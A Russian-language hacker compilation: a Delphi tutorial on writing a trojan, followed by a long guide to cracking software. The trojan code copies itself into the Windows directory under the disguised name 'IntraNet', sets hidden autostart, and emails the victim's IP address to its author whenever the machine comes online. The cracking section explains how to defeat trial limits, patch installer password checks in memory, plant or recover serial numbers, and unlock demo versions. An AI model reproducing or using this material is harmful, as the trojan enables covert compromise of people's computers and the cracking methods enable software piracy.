Крайне полезная инфа для любого начинающего программиста/хакера:
"Уроки Iczelion'а": _http://www.wasm.ru/publist.php?list=1
Руководства по исследованию популярных программ: _http://www.wasm.ru/publist.php?list=23
Про защиту от отладки: _http://www.wasm.ru/publist.php?list=17
Вирусология: _http://www.wasm.ru/publist.php?list=6
Про BIOS/CMOS: _http://www.wasm.ru/publist.php?list=13
Алгоритмы: _http://www.wasm.ru/publist.php?list=25

Создание трояна в домашних условиях

Сегодня мы рассмотрим как сделать простенького трояна на Delphi. Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо, что их дохрена и большинство делает не то что надо. Итак, приступим: сначала сделаем простенький троян, а потом будем наращивать его функциональность.

Пока что для создания трояна будем пользоваться стандартными компонентами Delphi и навесными, которые можно свободно скачать. Да и еще, дельфи нужна 2, 3 или 4-я, любителей 5-ой обломаю - она больно глючная. Ну чтож, приступим, для начала создадим форму (кто умеет без форм - будем без форм). Накидаем на форму: TRaylightAutostart, TOnlineIP, TNMSMTP. Пока хватит, потом еще добавим ежели что :-). В OnCreate формы пихаем следующее:

var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;

Что это все делает:

var WinPath : array [0..255] of char;
CurPath : String;
Объявление переменных. WinPathбудем использовать для каталога винды, а CurPathдля текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то вам прямая дорога в хелпы.
If pos(WinPath, CurPath) <> 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся "Intranet" - что то знакомое, а что делает не помним :-).
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а именно в RunOnce, а не в Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с виндами, а потом сами себя запускаем и закрываемся... или во всяком случае пытаемся :-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске машины будет сам себя инициализировать, а при запуске из каталога отличного от виндов, мы сами себя скопируем.

Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и сделаем. Cледующтй код ставим в событие OnChangeу OnlineIP:

If not OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся SMTP клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '[email protected]';
На какой адресс шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будкт в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо отправлено :-)

От себя я могу добавить что надо развивать аналитическое мышление что способствует к поиску дыр, а также лудший троян это троян сделанный своими руками!

Осмелюсь предположить, что Вы читаете этот текст не из праздного интереса или ради абстрактного "знания", а хотите научиться применять эти знания на практике и пожинать сладкие плоды своего труда. То есть ломать программы. И хотя это пособие носит название "Теоретические основы…", сам крэкинг - дисциплина прикладная. И когда Вы решитесь перейти от изучения сухой теории к активной деятельности, Вам потребуются "рычаги", при помощи которых Вы сможете перевернуть код. И именно об этих "рычагах" пойдет речь в данном разделе. Поскольку обучение крэкингу требует постоянной и разнообразной практики, было бы логично начать с перечисления того, что Вам потребуется для "практических занятий". Но, с другой стороны, вряд ли Вы сможете выбрать наилучшие инструменты, не зная хотя бы в общих чертах особенностей Вашей будущей деятельности. И именно поэтому глава носит номер "минус один", но следует за "нулевой" главой, в которой я попытался объяснить, чем Вы будете заниматься и какие трудности могут Вас ожидать.

Инструменты - это материальная основа крэкинга, без инструментов в крэкинге - никуда, но сами по себе инструменты - не более чем набор байтов, и лишь человеческая мысль оживляет их, заставляя творить чудеса. Для использования этих программ, как правило, требуются соответствующие знания. Насколько будет Вам полезен лучший отладчик в мире, если Вы не знаете, что означают те хитрые цифры и буквы, которые он показывает на экране? Поэтому прежде чем задать программе вопрос, Вы должны быть уверены, что сможете понять ответ.

Но, тем не менее, от качества этих инструментов будет во многом зависеть скорость и эффективность Ваших действий. Ваш инструментарий должен постоянно обновляться; не надейтесь, что софт десятилетней давности сможет чем-то Вам помочь - в области высоких технологий радикальные изменения могут произойти за считанные дни. Программы совершенствуются, наращивают мощность, обрастают новыми полезными и бесполезными функциями; защиты также не стоят на месте - и Вам нужно быть в курсе этих процессов, своевременно обновляя свой арсенал.

К вашему счастью, инструментов, пригодных для использования в крэкинге, не так уж мало, и проблема состоит не в том, чтобы их раздобыть, а в том, чтобы отобрать из них наилучшие, изучить их возможности и определить для себя, в какой ситуации тот или иной инструмент лучше всего применить. Поясню эту мысль примером: на данный момент наиболее мощным из дизассемблеров является IDA Pro, которая способен не просто дизассемблировать код, но и находить в нем вызовы стандартных функций различных компиляторов. Однако когда мне необходимо покопаться в программе, написанной на Delphi версии выше третьей, я наверняка не буду использовать IDA Pro, предпочтя ему Delphi Decompiler. Почему? Во-первых, скорость работы IDA Pro и DeDe различается в десятки раз в пользу последнего; используя DeDe, я скорее всего получу желаемый результат раньше, чем закончилось бы дизассемблирование в IDA Pro. Во-вторых, DeDe позволяет анализировать работающие процессы "на лету", что позволяет анализировать сжатые программы, не отвлекаясь на распаковку, восстановление таблицы импорта и прочие вспомогательные действия. Не углубляясь в дальнейшее перечисление достоинств DeDe, начисто отсутствующих в IDA, скажу, что в большинстве случаев специализированная программа позволяет решать свой "родной" класс задач значительно эффективнее, чем программы "общего назначения", ориентированные на ручную работу. Конечно, никто не запретит вам распаковывать программы, вручную копируя секции из памяти в файл, но не проще ли воспользоваться дампером?

Наверняка найдутся те, кто возразит, что широкое использование готовых утилит якобы мешает самостоятельному мышлению, чрезмерно упрощает процесс взлома и вообще "настоящие хакеры дизассемблируют в уме". Так вот, мое принципиальное мнение по этому вопросу такое: используйте все программы, какие только сочтете нужными, если это поможет вам добиться желаемого. В конце-концов, цель крэкера обычно состоит в получении работающей программы, а никак не в тренировке памяти или демонстрации собственной крутизны. А всем "настоящим хакерам" посоветуйте дизассемблировать в уме winword.exe из состава самого последнего MS Office, и до тех пор, пока они не справятся с этим несложным заданием, не беспокоить вас древними суевериями. Разумеется, рано или поздно Вы перейдете от использования чужих программ к написанию собственных патчеров, распаковщиков, дамперов и прочих утилит - но такой переход должен быть продиктован насущной необходимостью, а не обезьяним "чтобы быть не хуже других". В конце-концов, большинство программ было написано именно для того, чтобы люди ими пользовались.

Теперь посмотрим, какие инструменты и для чего нам потребуются...

Отладчики и дизассемблеры. Традиционно оба этих типа инструментов используются в паре, поскольку дизассемблер выдает лишь "чистый код", хотя современные дизассемблеры способны также распознать вызовы стандартных функций, выделить локальные переменные в процедурах и предоставляют прочий подобный сервис. Пользуясь дизассемблером, Вы можете лишь догадываться о том, какие данные получает та или иная функция в качестве параметров и что они означают; чтобы выяснить это, чаще всего требуется изучения если не всей программы, то довольно значительной ее части. Отладчики выполняют принципиально иные функции, они позволяют анализировать код в процессе его работы, отслеживать и изменять состояние регистров и стека, править код "на лету" - в общем, наблюдать за "личной жизнью" программы и даже активно в нее вмешиваться. Обратной стороной медали является "неинтеллектуальность" многих отладчиков - их врожденные способности к анализу кода редко простираются дальше определения направления перехода. SoftIce, "лучший отладчик всех времен и народов", например, ничего не знает о типах данных и не способен отличить обычный DWORD от указателя на ASCIIZ-строку, хотя и предоставляет пользователю возможность проверить это вручную. Впрочем, вполне реальны отладчики, сочетающие высокое качество дизассемблирования и анализа кода с широкими возможностями по его отладке. Примером может служить OllyDebug, выполняющий эвристический анализ кода, выделяющий локальные переменные, "знающий" о типах данных, передаваемых функциям WinAPI и при этом способный во многих случаях автоматически отличить обычное число от указателя на строку.

Декомпиляторы и узкоспециализированные отладчики. С ростом мощности ЭВМ довольно широкое распространение получили компиляторы, создающие не "чистый" машинный код, а некий набор условных инструкций, который выполняется при помощи интерпретатора. Интерпретатор может как поставляться отдельно (Java), так и быть "прикрепленным" к самой программе (хотя формально не интерпретатор прикрепляется к программе, а программа к интерпретатору. Примером может служить Visual Basic в режиме компиляции в p-code). Возможны и более экзотические варианты, например, применяемый в Форте "шитый код"; компиляция программы в цепочку команд push\call или преобразование текста программы в такую цепочку непосредственно при запуске этой программы. Интерпретаторами являются практически все инсталляторы (в их основе лежит интерпретатор инсталляционного скрипта, хотя сам процесс создания такого скрипта может быть скрыт при помощи визуальных средств). Да и "обычные" компилирующие языки могут создавать код, прямой анализ которого весьма затруднителен. Для анализа таких программ используются специализированные утилиты, переводящие код, понятный лишь интерпретатору, в форму, более удобную для понимания человеком. Также некоторые декомпиляторы могут извлекать информацию об элементах интерфейса, созданных визуальными средствами. В любом случае, не следует ожидать от декомпиляторов восстановления исходного текста программы; если декомпилированная программа успешно компилируется и сохраняет работоспособность - это исключение, а не правило.

Распаковщики и утилиты для дампинга процессов. Дизассемблировать запакованную или зашифрованную программу "напрямую" невозможно (если быть до конца точным - возможно, но бесполезно). Но если очень хочется получить хоть какой-то листинг, можно попытаться извлечь из памяти компьютера "снимок" (дамп) программы в момент ее работы. Этот дамп уже можно более или менее успешно дизассемблировать. Более того, на основе дампа можно воссоздать исполняемый файл программы, причем этот файл будет успешно загружаться, запускаться и работать. Именно на этом принципе и основана работа большинства современных распаковщиков: подопытная программа запускается под управлением распаковщика; распаковщик ждет некоторого события, говорящего о том, что программа полностью распаковалась, и тут же "замораживает" программу и сбрасывает ее дамп на диск. Защитные системы нередко пытаются противодействовать получению работоспособного дампа при помощи манипуляций с сегментами и таблицами импорта-экспорта. В этих случаях приходится применять PE-реконструкторы, т.е. утилиты, обнаруживающие в дампе некорректные ссылки на функции и пытающиеся их восстановить. Многие продвинутые дамперы и распаковщики имеют встроенные средства восстановления секций импорта.

Утилиты анализа файлов. Очень часто требуется быстро узнать, каким упаковщиком или защитным софтом обработана та или иная программа, найти все текстовые строки в дампе памяти, просмотреть содержимое файла в виде таблицы записей, вывести в файл список импортируемых и экспортируемых программой функций и многое другое. Для всех этих целей существует огромное количество специализированных утилит, позволяющих быстро проанализировать файл на наличие тех или иных признаков. Эти утилиты, как правило, не являются жизненно необходимыми, но, при их надлежащем качестве, способны сэкономить большое количество времени и сил.

Шестнадцатеричные редакторы и редакторы ресурсов. Это, несомненно, наиболее древние (по идее, но не обязательно по исполнению) из программистских инструментов, ведущие свою славную историю с тех времен, когда программисты еще умели "читать" и править исполняемый код, не прибегая к помощи дизассемблеров. Тайное искусство чтения кода еще сохранилось в отдаленных уголках Вселенной, но в последние годы практически утратило актуальность. И теперь лишь крэкеры практикуют этот мистический обряд, в соответствии со священной традицией исправляя в неправильных программах идеологически чуждый опкод 75h на истинный и совершенный 0EBh. Редакторы ресурсов, в принципе, занимаются тем же самым, но по отношению к прилинкованным к исполняемому файлу ресурсам. Именно при помощи редакторов ресурсов выполняется значительная часть работ по "независимой" русификации программ и доработке интерфейсов. Рука об руку с редакторами идут всевозможные патчеры, которые позволяют создать небольшой исполняемый файл, автоматически вносящий изменения в оригинальный файл программы либо в код этой программы непосредственно в памяти.

API-шпионы и другие утилиты мониторинга. Очень часто бывает нужно узнать, какие именно действия выполняет та или иная программа, откуда читает и куда записывает данные, какие стандартные функции и с какими параметрами она вызывает. Получить эти знания как раз и помогают утилиты мониторинга. Такие утилиты делятся на две большие группы: те, которые отслеживают сам факт возникновения каких-либо событий и те, которые позволяют выявить один или несколько специфических типов изменений, произошедших в системе за некий промежуток времени. К первой группе относятся всевозможные API-шпионы, перехватывающие вызовы системных функций (а более продвинутые API-шпионы умеют перехватывать и не только системные функции), хорошо известные утилиты Reg-, File-, PortMon и иже с ними, перехватчики системных сообщений и многие другие. Эти утилиты, как правило, предоставляют весьма подробную информацию об отслеживаемых событиях, но генерируют весьма объемные и неудобные для анализа логи, если отслеживаемые события происходят достаточно часто. Вторая группа представлена всевозможными программами, создающими снимки реестра, жесткого диска, системных файлов и т.п. Эти программы позволяют сравнить состояние компьютера "до" и "после" некоего события, построить список различий между состояниями и на основе этого списка делать определенные выводы. Основная проблема при работе с такими утилитами хорошо описывается словами ""после" - не значит "вследствие"" (т.е. кроме интересующей Вас деятельности программы Вы можете получить лог "жизнедеятельности" других параллельно работающих программ и самой операционной системы).

Прочие утилиты. Существует огромное количество утилит, не вписывающихся в приведенные выше категории или попадающие в несколько категорий. Одна лишь полная классификация этих инструментов потребовала бы значительных усилий, но моя цель не в том, чтобы плодить "мертвые буквы", а в том, чтобы дать Вам знания и навыки, достаточные для самостоятельных занятий. Крэкинг - занятие весьма многогранное, и столь же многогранны инструменты, в нем используемые. Более того, некоторые из утилит, которые могут быть полезны для крэкера, создавались для совершенно иных целей (хорошим примером может служить программа GameWizard32, которая вообще-то была предназначена, чтобы мухлевать в компьютерных играх, но оказалась полезна при вскрытии программы с ограничением на максимальное число вводимых записей). Поэтому еще раз обращу Ваше внимание: важно не только качество инструмента, но и умение творчески и нетривиально его применить.

Итак, допустим, что у нас есть программа и в ней содержится вредоносный код (далее - "защита"), который нужно обезвредить. Инсталляционный файл тихо лежат на нашем винчестере, ожидая того знаменательного момента, когда мы его запустим, чтобы извлечь на свет скрытую в его недрах программу. Мне вполне понятно Ваше желание немедленно установить эту программу и вступить в битву со злобным и коварным врагом, но охладите на несколько минут свой пыл, и послушайте мой рассказ о процессе инсталляции программ, и чем этот процесс может кончиться.

Итак, многие программы в настоящее время поставляются в виде инсталляционного пакета. Для установки программы, как правило, требуется либо запустить один из файлов пакета (это, в частности, отлично всем известные Setup.exe), либо открыть при помощи другой заранее установленной программы (к примеру, файлы с расширением MSI, созданные Microsoft'овским инсталлятором или RPM-пакеты в Linux). В инсталляционных пакетах кроме самих файлов, которые требуется установить на машину пользователя, содержится также описание сценария инсталляции в том или ином виде (назовем это описание сценария для простоты "инсталляционным скриптом", тем более, что чаще всего так оно и есть). Разумеется, инсталлятор может быть и обычной программой, написанной для установки конкретного приложения, но написание собственного инсталлятора - дело достаточно трудоемкое, и поэтому на практике такие инсталляторы встречаются весьма редко.

Инсталляционный скрипт описывает, в каком режиме устанавливается тот или иной файл (добавление, замена, замена с предварительной проверкой версии и т.п.), какие данные необходимо внести в реестр или файлы конфигурации, какие программы запускаются до, в процессе и после инсталляции, а также многое другое. В это "многое другое" могут входить и такие безусловно интересные вещи, как проверка серийных номеров, создание записей в реестре, а также распаковка и запуск программ. О встроенных в инсталляционный скрипт серийных номерах мы поговорим позже. А пока попробуем поразмышлять о том, в чем может заключаться опасность неконтролируемого создания ключей в реестре или запуска каких-либо программ.

Если Вы взламываете какую-либо программу, оснащенную ограничением на время использования или число запусков, один из "корней зла" может гнездиться именно в инсталляционном скрипте. Представьте себе такую ситуацию: программа хранит дату первого запуска и/или какую-либо иную информацию, необходимую для проверки на истечение срока пробного использования, в реестре. Разумеется, информация закодирована, предприняты меры, чтобы защиту не обманывало "подкручивание" системной даты, возможно даже соответствующий ключ реестра хорошо замаскирован (Вам ничего не напоминает мое описание? Да это же ASProtect - ломаный-переломаный, но, как ни странно, все еще популярный). Тем не менее, одна лазейка все-таки осталась - если триальный ключ в реестре отсутствует, защита считает, что раньше программа не запускалась. Поэтому защиту можно обмануть, просто удалив из реестра лишние ключики. А теперь представьте, что триальный ключ создается в процессе инсталляции, и если он отсутствует, программа просто перестает запускаться. Если Вы ставите целью взлома ликвидацию триальных ограничений, Вам могут потребоваться весьма значительные усилия, чтобы отыскать этот маленький, но зловредный ключик в огромном реестре еще более огромной Windows. Как вам такая перспектива? Если встроенных средств инсталлятора оказывается недостаточно для создания триальной "метки", это можно сделать при помощи небольшого исполняемого файла, который распаковывается в процессе инсталляции, запускается, делает свое черное дело и сразу после этого удаляется. Упрощенный вариант этого приема выглядит как автоматический запуск приложения после инсталляции, чтобы защита смогла создать триальные "метки" на компьютере пользователя.

В качестве метки, на основе которой программа будет проверять ограничения по времени или числу запусков, также может использоваться какой-либо файл, создаваемый в процессе инсталляции, особенно если этот файл запрятан в глубинах одной из системных директорий (да-да, я знаю, что мусорить в системных директориях нехорошо; осталось лишь объяснить это некоторым авторам защит) и при этом еще активно используется программой. Я встречал защиту, основанную на подобном принципе: дата создания одной из DLL использовалась для отсчета времени с момента установки, а сама DLL лежала в системной директории Windows среди сотен себе подобных и динамически подгружалась основной программой.

Какие средства мы можем применить, чтобы обнаружить и обезвредить эти и другие подобные приемы? Наиболее радикальным средством, разумеется, является декомпиляция инсталляционного скрипта - в этом случае мы получаем практически полную информацию о том, что происходит в процессе установки программы, а в некоторых случаях даже можем повлиять на этот процесс, внеся исправления в инсталлятор. Разобрать инсталляционный скрипт "по косточкам" - задача не самая простая, да и не всегда это необходимо. Поэтому на практике чаще пользуются другим типовым приемом, позволяющим обнаружить произошедшие изменения. Этот прием заключается в использовании утилит мониторинга, делающих "снимки" системы (реестра, размеров и дат создания/модификации файлов) до и после установки и затем анализирующих различия между снимками. Подробный журнал изменений, выдаваемый такими программами, позволяет легко обнаружить подозрительные ключи и файлы, появившиеся в процессе инсталляции. Забегая вперед, скажу, что такие же "снимки" рекомендуется делать и при прохождении других критических периодов работы программы о которых мы поговорим в следующей главе. Установить факт запуска каких-либо программ во время инсталляции можно при помощи утилит, отслеживающих создание и завершение процессов.

Однако деятельность программ, запускаемых в процессе инсталляции, не ограничивается одним лишь созданием триальных ключей. Дело в том, что набор функций, поддерживаемых инсталляторами, ограничен и некоторые действия (например, проверку серийного номера с использованием достаточно сложного алгоритма) выполнить средствами инсталляционных скриптов не всегда возможно. Один из приемов, применяемых в этом случае - запуск исполняемого файла, который и выполняет все необходимые операции, а потом тем или иным образом возвращает результат проверки в инсталлятор - существуют защиты, в которых проверка серийного номера реализована именно так. В некоторых инсталляторах для этих же целей предусмотрен интерфейс, позволяющий использовать плагины (плагин в виде динамически загружаемой библиотеки также упрятываются внутрь инсталлятора, в нужный момент распаковываются во временную директорию и после использования удаляются). Такие исполняемые файлы и плагины, разумеется, невозможно модифицировать напрямую и чаще всего не удается извлечь из инсталлятора для дизассемблирования и изучения, т.к. они хранятся внутри инсталлятора в сжатом виде, а большинство коммерческих инсталляторов несовместимы по формату с обычными архиваторами. Если Вы хотите исследовать такой исполняемый файл, Вам почти наверняка потребуется снять с него дамп, чтобы получить материал для загрузки в дизассемблер. Сделать это совсем несложно - запустите инсталлятор под отладчиком и поставьте точки останова на все функции, связанные с загрузкой модулей и библиотек (для плагина) или создания процесса (для EXE). В Windows это будут LoadLibrary[Ex], LoadModule[Ex], CreateProcess или устаревший WinExec соответственно. Запоминаем, откуда инсталлятор пытается загрузить файл, и затем "замораживаем" работу инсталлятора непосредственно перед исполнением этой функции патчем

MySelf: jmp MySelf

либо манипуляциями с атрибутами соответствующего процесса и потока (например, применив к нему функцию SuspendThread). Затем копируем нужный нам файл в надежное место и делаем с ним все, что только придет нам в голову.

Если такой файл, запускаемый во время инсталляции, работает сколь-нибудь длительное время (достаточное, чтобы обнаружить факт появления нового процесса и записать данные в его адресное пространство), Вы даже можете создать memory patch, позволяющий модифицировать код этого файла в памяти. Приведу практический пример: одна из программ в процессе установки запрашивала пароль, который было необходимо ввести, чтобы продолжить инсталляцию. Путем экспериментов удалось установить, что инсталлятор создавал в директории для временных файлов исполняемый файл со случайным именем, запускал его и затем блокировал доступ к файлу даже на чтение, после чего собственно ввод пароля и его проверка осуществлялась уже средствами этой запущенной программы. Заставить программу "признать" любой пароль при помощи правки кода программы в SoftIce не составляло особой сложности, но вот изготовить "классический" патч, который позволил бы устанавливать эту программу, не прибегая к помощи отладчика, оказалось крайне затруднительно. Но, поскольку ввод пароля осуществлялся в стандартном окне Windows, это дало возможность подойти к проблеме с другой стороны. После недолгих размышлений выяснилось, что можно создать программу-launcher, выполняющую следующие действия:
Ожидание появления окна с заданным заголовком.
Определение по хэндлу этого окна идентификатора процесса, создавшего окно.
Внесение изменений в адресное пространство этого процесса (проще говоря, исправление программы в памяти), после которых любой пароль признавался верным.

Одним из важнейших искусств для крэкера, несомненно, является изготовление или добыча серийных номеров. Как заполучить серийный номер для программы, которая без этого номера даже не инсталлируется? Варианты "втихаря списать с лицензионного компакта" или "шантажом и пытками вытянуть из зарегистрированного пользователя", мы рассматриваем как не имеющие ничего общего с высоким искусством крэкинга, и потому изучать их не будем. Серийные номера вообще - это очень обширная тема, и в данном разделе я буду рассматривать только те серийные номера, которые "упрятаны" в инсталлятор. Несколькими строками выше я уже говорил о том, как обращаться с проверщиками серийных номеров, запускаемыми в процессе инсталляции. Теперь посмотрим, как можно решить проблему серийного номера, упрятанного в инсталляционный скрипт.
Наиболее удобным для нас был бы вариант серийного номера, записанного открытым текстом, но так уже практически никто не делает, поскольку "взломать" такую защиту можно при помощи обычного просмотрщика текстов. Так что будем считать, что при проверке правильности используется представление серийного номера как результата некой хэш-функции.
Часто в инсталлятор "зашит" не один серийный номер, а несколько - и это способно существенно облегчить нам задачу. Существует три метода проверки серийного номера:
Вычислить хэш-функцию от серийного номера и проверить, удовлетворяет ли результат какому-либо условию.
Пропустить результат через хэш-функцию и сравнить его со списком эталонов.
Пропустить зашифрованные серийные номера, спрятанные внутри программы, через процедуру расшифровки и затем сравнить результат с значением серийного номера, который ввел пользователь. Очевидно, что это наиболее простой случай: требуется только обнаружить точку, в которой происходит сравнение введенного серийного номера с правильным и прочитать из памяти действительный серийный номер.
Различие между п.1 и п.2 не очевидно, но оно есть: именно на втором методе обычно основаны всевозможные "черные списки" серийных номеров. Первый способ проверки в инсталляторах применяется сравнительно редко из-за слабых математических возможностей интерпретаторов инсталляционных скриптов и ориентации на максимальную простоту процесса создания инсталляции (грамотная установка защиты, к нашему счастью, достаточно сложна и при этом все равно не дает гарантированного результата). Так что в итоге внутри большинства инсталляторов упрятан все тот же список серийных номеров (возможно, лишь из одного элемента). Еще интересно отметить, что абсолютное большинство инсталляторов никак не упаковывают инсталляционные скрипты (хотя исходный текст скрипта вполне может быть откомпилирован в байт-код), поэтому Вы можете сравнительно легко модифицировать эти скрипты при помощи шестнадцатиричного редактора.
Первое, что приходит в голову - найти, где в инсталляторе спрятан этот самый список и добавить туда свой серийник. Для этого нужно ввести какой-нибудь серийный номер, потом найти код, сравнивающий значение хэш-функции от введенного серийника со списком и вписать свое значение хэш-функции в файл инсталляции на место оригинального. Что называется, просто и со вкусом.
Другой способ заключается в том, чтобы идентифицировать программный продукт, при помощи которого сделана инсталляция, затем раздобыть этот продукт и как следует его проанализировать. Это позволит Вам сравнительно быстро узнать технические возможности инсталлятора (и проблемы, которые эти возможности могут Вам создать), структуру инсталляционного скрипта, способ генерации и формат хранения правильных серийных номеров, коды и функции внутренних команд интерпретатора скриптов. При желании Вы даже сможете написать распаковщик инсталляционных пакетов, декомпилятор инсталляций а то и универсальный(!!!) генератор ключей ко всем программам, инсталляционные пакеты которых сделаны при помощи исследованного Вами программного продукта.
В некоторых случаях наиболее прямым путем к получению полнофункциональной программы из урезанного варианта является именно вскрытие инсталлятора. Поясню эту идею примером. Допустим, что у Вас есть демо-версия какой-либо хорошей программы, но Вам этого мало, и Вы хотите иметь полностью функциональный вариант этого продукта. При этом у Вас нет никакого желания вручную восстанавливать недостающий код, заботливо выдранный автором. Однако на сайте производителя иногда можно найти обновления для коммерческих версий нужного Вам софта, и эти обновления, как правило, содержат исправленные варианты основных файлов программы. Что из этого следует? А то, что если неким таинственным образом Вам удастся установить апдейт на демо-версию, есть ненулевая вероятность, что свою демонстрационную версию Вы превратите в программу, по функциональности практически не отличающуюся от полной! Разумеется, программа обновления перед своей установкой выполнит проверку на возможность обновления (в том числе и для того, чтобы пользователь случайно не "обновил" демо-версию) - но ведь Вы решили изучать крэкинг именно для решения проблем такого рода. Так что Вам потребуется лишь немного "доработать" инсталлятор, ликвидировав в нем проверку на возможность обновления.